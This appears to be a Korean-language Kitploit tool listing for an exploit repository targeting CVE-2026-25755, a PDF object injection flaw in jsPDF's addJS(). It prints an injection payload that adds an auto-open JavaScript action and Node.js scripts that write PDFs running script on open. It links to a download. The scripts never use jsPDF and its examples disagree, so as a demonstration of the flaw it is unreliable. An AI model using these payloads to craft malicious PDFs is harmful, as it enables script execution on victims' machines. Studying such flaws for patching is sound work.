Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 jsPDF의 심각한 PDF 객체 주입 취약점으로, 공격자가 addJS() 함수를 통해 임의의 PDF 객체를 주입할 수 있어 AcroJS 샌드박스 우회 및 PDF가 열릴 때 자동 스크립트 실행이 가능합니다. | Kitploit
도구/GitHubGitHub/absholi7ly/jspdf-object-injection
Vulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 jsPDF의 심각한 PDF 객체 주입 취약점으로, 공격자가 addJS() 함수를 통해 임의의 PDF 객체를 주입할 수 있어 AcroJS 샌드박스 우회 및 PDF가 열릴 때 자동 스크립트 실행이 가능합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
1107개월 전아직 검토되지 않음
공유

CVE-2026-25755 샌드박스 우회 jsPDF 결함으로 객체 주입 발생

개요

jsPDF에서 치명적인 PDF 객체 주입 취약점(CVE-2026-25755)이 발견되었습니다. jsPDF는 클라이언트 측 애플리케이션에서 PDF 문서를 생성하는 데 널리 사용되는 JavaScript 라이브러리입니다. 이 취약점은 addJS() 함수에 존재하며, 공격자가 부적절한 입력 검증을 통해 임의의 PDF 객체를 주입하고 AcroJS 샌드박스 제한을 우회할 수 있게 합니다.


근본 원인

jsPDF의 addJS() 함수는 개발자가 생성된 PDF 파일 내에 JavaScript 코드를 삽입할 수 있게 합니다. 그러나 버전 4.2.0 이전에는 특수 PDF 구문 문자를 포함한 사용자 입력을 제대로 검증하지 못했습니다.

취약한 코드(4.2.0 이전)

function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

주입 벡터

이 함수는 이스케이프 처리 없이 사용자 입력을 PDF 객체 스트림에 직접 연결합니다:

  • 여는 괄호 (
  • 닫는 괄호 )
  • 백슬래시 \

이로 인해 공격자는 JavaScript 문자열 컨텍스트를 조기에 종료하고 임의의 PDF 객체를 주입할 수 있습니다.

PDF JavaScript 구조

/JS (app.alert('Hello World'))

주입 페이로드

const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

PDF 객체 스트림

/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     주입 지점 - 문자열 컨텍스트 이스케이프됨

주입 메커니즘

단계동작결과
1)가 원래 /JS 문자열을 닫음문자열 컨텍스트 종료
2>>가 현재 PDF 객체를 닫음객체 구조 손상
3/AA << /Open << ...새 작업 사전 주입
4임의의 PDF 객체 추가완전한 객체 주입 달성

PoC 코드(Node.js)

exploit.js라는 파일을 만들고 다음 내용을 작성하세요.

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

페이로드

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
node exploit.js 실행

결과: exploit.pdf 파일이 같은 폴더에 생성되었습니다.

도구 다운로드